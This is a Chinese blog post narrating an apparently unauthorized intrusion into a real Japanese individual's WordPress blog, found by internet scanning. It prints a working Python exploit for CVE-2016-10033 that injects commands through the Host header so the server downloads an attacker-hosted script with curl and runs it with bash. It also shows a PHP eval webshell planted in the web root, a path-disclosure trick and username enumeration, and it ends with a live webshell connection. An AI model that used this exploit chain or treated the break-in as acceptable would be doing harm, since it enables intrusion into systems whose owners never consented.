對日本某Wordpress博客站的一次滲透測試

閱讀本文大概需要 2.3 分鐘

今天,又是忙碌且充實(shí)的一天。

下班回到家的我,又在用 FOFA 掃網(wǎng)站,然后便掃到一個(gè)日本網(wǎng)友的博客站點(diǎn)。這界面風(fēng)格,一看就是 Wordpress 了,網(wǎng)站底部也可以看到 Wordpress 的字樣。

只有寥寥無幾的博文,并且最近一條還是在 3 年前。

image

我瀏覽器裝了 Wappalyzer 插件,插件顯示了如下信息。

image

4.5.3 ?這是好久以前的版本了,看來博主確實(shí)很久沒打理這個(gè)網(wǎng)站了。

不過看到這個(gè)版本號,我頓時(shí)來了精神了。因?yàn)槲蚁肫?Wordpress <= 4.6 有個(gè)經(jīng)典的任意命令執(zhí)行漏洞(CVE-2016-10033)。

立馬找到我以前寫的筆記,一頓翻找,不一會兒就找到了曾經(jīng)用過的一個(gè) exp。

#!/usr/bin/env python3
import requests
import sys

# wordpress's url
target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
# an exists user
user = 'admin'

def generate_command(command):
    command = '${run{%s}}' % command
    command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
    command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
    return 'target(any -froot@localhost -be %s null)' % command


session = requests.session()
data = {
    'user_login': user,
    'redirect_to': '',
    'wp-submit': 'Get New Password'
}
session.headers = {
    'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
session.allow_redirects = False
target += '/wp-login.php?action=lostpassword'
session.post(target, data=data)

session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
session.post(target, data=data)

簡單講一下上面的代碼。

target 是目標(biāo)網(wǎng)站,shell_url 則是要執(zhí)行的命令文件的地址,并且這個(gè)地址必須是目標(biāo)網(wǎng)站所在的機(jī)器可以訪問到的,user 則是當(dāng)前網(wǎng)站存在的用戶名。

target 目前已知,那么我還需要構(gòu)造 shell_url,并且需要得到一個(gè)有效用戶名。

首先來構(gòu)造 shell_url

創(chuàng)建 1.txt,寫入如下的命令,該命令會在指定目錄寫入一句話木馬。

echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/1.php

上面的命令指定將木馬 1.php 寫到 /var/www/html/ 下。而我現(xiàn)在要將木馬寫到網(wǎng)站根目錄,但是我并不確定網(wǎng)站根目錄是否為 /var/www/html/。

這時(shí)想起之前看到 Wordpress 有絕對路徑泄露漏洞,訪問 /wp-admin/admin-functions.php,顯示如下。

image

當(dāng)前網(wǎng)站根目錄確實(shí)是在 /var/www/html/。

1.txt 放到本地服務(wù)器,再使用內(nèi)網(wǎng)穿透,將本地服務(wù)器映射到公網(wǎng),使得目標(biāo)機(jī)器可以訪問到。

輸入公網(wǎng)地址訪問測試,成功訪問。

image

接下來獲取網(wǎng)站用戶名

網(wǎng)站域名是 mxxxxblog.com,所以猜測用戶名為 mxxxx,進(jìn)入登錄頁面進(jìn)行測試。

image

用戶名輸入 mxxxxx,密碼隨便,提示密碼錯(cuò)誤。

隨便輸一個(gè)用戶名。

image

提示用戶名不存在。(看不懂日語,翻譯的)

至此得到用戶名。

修改 exp

將 target、構(gòu)造的 shell_url 和得到的用戶名替換到 exp 中,最終 exp 如下。

image

執(zhí)行 exp

直接 python 執(zhí)行,沒有任何輸出。猜測應(yīng)該是執(zhí)行成功了。

直接使用蟻劍連接,成功連接。

image

至此已經(jīng)拿到 WebShell,不打算再往下了。

結(jié)語

其實(shí)這次滲透并不算難,基本就是一個(gè) RCE 利用。主要還是目標(biāo)網(wǎng)站所使用的的系統(tǒng)太老了。

在這里我想對大家說,有些事情其實(shí)沒你想的那么難。你可以覺得難,但千萬不要因?yàn)殡y就不去做,不愿意嘗試。

希望大家共勉,加油!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 轉(zhuǎn)載自公眾號:alisrc 1.拿到一個(gè)待檢測的站,你覺得應(yīng)該先做什么? 2.判斷出網(wǎng)站的CMS對滲透有什么意義?...
    蒼簡閱讀 9,609評論 0 7
  • 0x00 前期 拿到測試范圍清單后,首先用腳本獲取了下各個(gè)子站的標(biāo)題,基本都是XXX管理系統(tǒng)。瀏覽器查看后,各個(gè)子...
    CanMeng閱讀 960評論 0 4
  • 我是黑夜里大雨紛飛的人啊 1 “又到一年六月,有人笑有人哭,有人歡樂有人憂愁,有人驚喜有人失落,有的覺得收獲滿滿有...
    陌忘宇閱讀 8,843評論 28 54
  • 人工智能是什么?什么是人工智能?人工智能是未來發(fā)展的必然趨勢嗎?以后人工智能技術(shù)真的能達(dá)到電影里機(jī)器人的智能水平嗎...
    ZLLZ閱讀 4,100評論 0 5
  • 首先介紹下自己的背景: 我11年左右入市到現(xiàn)在,也差不多有4年時(shí)間,看過一些關(guān)于股票投資的書籍,對于巴菲特等股神的...
    瞎投資閱讀 5,943評論 3 8

友情鏈接更多精彩內(nèi)容